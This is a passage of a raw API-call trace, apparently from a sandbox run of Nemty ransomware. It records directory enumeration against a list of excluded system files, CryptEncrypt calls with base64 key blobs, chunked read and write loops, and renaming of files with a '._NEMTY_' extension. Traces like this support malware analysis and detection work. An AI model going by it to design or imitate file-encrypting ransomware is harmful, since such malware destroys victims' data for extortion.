lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xea0cd1d0, dwHighDateTime=0x1d561e7)) [0091.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xea0cd1d0, dwHighDateTime=0x1d561e7)) [0091.273] GetLastError () returned 0xb7 [0091.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0091.273] GetLastError () returned 0xb7 [0091.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0091.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0091.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0091.274] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0091.274] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0091.274] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0091.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0091.274] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="Two49S7kljDLlXZd1wD9QPOVrktKbrvVaB5TiRDKBwweVIxFjHt/d3zKxIb1aCoa\r\nPsPkUl4tMwJQDatfUyeRpPCTan/avwneVzI6nWp93vPGLOmhkw+E4fcBeJC2vlS3\r\nsPmyPybaY01ChvXgAYEa9Vg7vOmbtjcD3pESc81cH2OehfT/rw/EhvgQUg/3d4f8\r\nFEnvz8SccrMEE6IWPY5HDKBXn85l+/4XPnGKGKh2INXojW5bh/PTsjjBFQEB2yVZ\r\nvJY9Z63LHqZ8ciSQ9ylEuQ1hd57lovQIU+/9e4KRqqjlsq853coRZ04BzTp/UPXP\r\na2VD5K9Kik3QX/xQOWC9Aw==\r\n", pcchString=0x653e91c) returned 1 [0091.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0091.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0091.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0091.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0091.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0091.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0091.274] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.274] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0091.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0091.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.274] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.284] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.284] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.293] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.293] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.303] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.303] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.312] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.312] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.322] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.322] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.331] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.331] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.340] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.340] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.349] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.350] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.360] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.360] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.370] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.376] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.376] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.382] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.382] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0091.382] CloseHandle (hObject=0xffffffff) returned 0 [0091.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0091.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0091.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0091.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0091.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0091.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0091.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0091.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0091.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0091.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0091.382] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png._nemty_kgobjgd_")) returned 0 [0091.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0091.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0091.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0091.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0091.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0091.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0091.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0091.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0091.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0091.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.383] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2=".") returned 1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="..") returned 1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="...") returned 1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="windows") returned -1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="$RECYCLE.BIN") returned 1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="rsa") returned -1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="NTDETECT.COM") returned -1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="ntldr") returned -1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="MSDOS.SYS") returned -1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="IO.SYS") returned -1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="boot.ini") returned -1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="boot.ini") returned -1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="AUTOEXEC.BAT") returned -1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="ntuser.dat") returned -1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="desktop.ini") returned -1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="CONFIG.SYS") returned -1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="RECYCLER") returned -1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="BOOTSECT.BAK") returned -1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="bootmgr") returned -1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="programdata") returned -1 [0091.383] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="appdata") returned -1 [0091.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0091.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576_91n92.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0091.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576_91n92.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576_91n92.png", lpUsedDefaultChar=0x0) returned 18 [0091.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0091.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576_91n92.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0091.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576_91n92.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576_91n92.png", lpUsedDefaultChar=0x0) returned 18 [0091.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0091.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0091.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0091.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576_91n92.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0091.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576_91n92.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576_91n92.png", lpUsedDefaultChar=0x0) returned 18 [0091.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0091.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0091.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576_91n92.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0091.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0091.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576_91n92.png", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576_91n92.png", lpUsedDefaultChar=0x0) returned 18 [0091.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0091.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0091.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0091.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0091.384] Sleep (dwMilliseconds=0x5) [0091.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xea1fdcd0, dwHighDateTime=0x1d561e7)) [0091.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xea1fdcd0, dwHighDateTime=0x1d561e7)) [0091.398] GetLastError () returned 0x5 [0091.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0091.398] GetLastError () returned 0x5 [0091.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0091.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0091.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0091.398] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0091.398] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0091.399] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0091.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0091.399] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="syp7oxpX5/4Q2A8f9/phKrDzHeZVaMv89Zc7tSl8TiVuaGS7bGbtX67nL3jErMub\r\nZm6dshb8SKE3+UJOEddIHaHjL/h0TMRRxeZ4GmFumEphtUEg0iD8MZxOJ2pSU+7X\r\n7WxXnFI+zhSsUAFXtPBgbzNh0HfO85dKDybCQJQHM7fhpuhjsnwbzW7NdzGqG09p\r\nQOYrveEUwkV4fraBEenUleHgFHWJI9S/nu1IrKng26WVle3l0Llqcpa3o24+j4ZY\r\n2HDMjsMqjJu41/O9BKMgnc/MSmvmhOMCtL3B/L4xi9hLsn3oUNFGd3eKnW5Pn9uR\r\nocmqPl8nNUWMnWOT/lpgEQ==\r\n", pcchString=0x653e91c) returned 1 [0091.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0091.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: 